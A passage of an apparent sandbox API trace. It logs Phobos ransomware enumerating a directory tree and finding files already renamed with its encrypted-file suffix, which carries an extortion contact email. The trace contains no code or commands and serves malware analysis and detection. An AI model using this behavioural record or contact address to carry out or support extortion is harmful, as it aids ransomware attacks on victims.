lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x7b5a60, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed96e30a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed96e30a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9ba6bd, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.368] FindClose (in: hFindFile=0x7b5a60 | out: hFindFile=0x7b5a60) returned 1 [0124.368] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.368] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3076", cAlternateFileName="")) returned 1 [0124.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.370] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x19a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee794272, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee794272, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7ba40a, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xeea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.370] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed994489, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed994489, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x3862, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.370] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.371] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.371] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="3082", cAlternateFileName="")) returned 1 [0124.371] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.373] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee7e0692, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="EULART~1.PHO")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7ba40a, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7ba40a, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x13982, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="LOCALI~1.PHO")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 1 [0124.373] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9ba6bd, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9ba6bd, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xed9e0971, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4a62, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="SETUPR~1.PHO")) returned 0 [0124.373] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.374] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.374] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Client", cAlternateFileName="")) returned 1 [0124.374] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5be0 [0124.375] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.375] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7e0692, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee7e0692, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee806a95, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x31552, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x7b5be0, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee806a95, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee806a95, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee95de14, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0124.376] FindClose (in: hFindFile=0x7b5be0 | out: hFindFile=0x7b5be0) returned 1 [0124.376] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee82cbf1, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee82cbf1, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee944551, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x4002, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DHtmlHeader.html.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DHTMLH~1.PHO")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda2ce12, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="DisplayIcon.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="DISPLA~1.PHO")) returned 1 [0124.376] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Extended", cAlternateFileName="")) returned 1 [0124.377] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.378] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee95de14, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee95de14, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9aa4d3, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PARAME~1.PHO")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 1 [0124.378] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee98423e, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xee98423e, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xee9d06c8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="UIINFO~1.PHO")) returned 0 [0124.378] FindClose (in: hFindFile=0x7b5a20 | out: hFindFile=0x7b5a20) returned 1 [0124.379] HeapFree (in: hHeap=0xe70000, dwFlags=0x0, lpMem=0x36c4090 | out: hHeap=0xe70000) returned 1 [0124.379] FindNextFileW (in: hFindFile=0x7b5ee0, lpFindFileData=0x3c3f3bc | out: lpFindFileData=0x3c3f3bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Graphics", cAlternateFileName="")) returned 1 [0124.379] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b5a20 [0124.381] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.381] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed9e0971, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xed9e0971, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda06bab, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="PRINTI~1.PHO")) returned 1 [0124.381] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda06bab, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda06bab, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~1.PHO")) returned 1 [0124.381] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda2ce12, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda2ce12, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xeda79284, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~2.PHO")) returned 1 [0124.381] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeda79284, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xeda79284, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedcb57b8, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~3.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROTATE~4.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcb57b8, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedcb57b8, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd01aa0, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO2118~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd01aa0, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd01aa0, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd27c8d, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="ROE580~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd27c8d, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd27c8d, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd4ded6, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO3A5C~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: lpFindFileData=0x3c3f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedd4ded6, ftCreationTime.dwHighDateTime=0x1d51201, ftLastAccessTime.dwLowDateTime=0xedd4ded6, ftLastAccessTime.dwHighDateTime=0x1d51201, ftLastWriteTime.dwLowDateTime=0xedd9a495, ftLastWriteTime.dwHighDateTime=0x1d51201, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id[B4197730-1030].[ramsey_frederick@aol.com].phobos", cAlternateFileName="RO113B~1.PHO")) returned 1 [0124.382] FindNextFileW (in: hFindFile=0x7b5a20, lpFindFileData=0x3c3f138 | out: 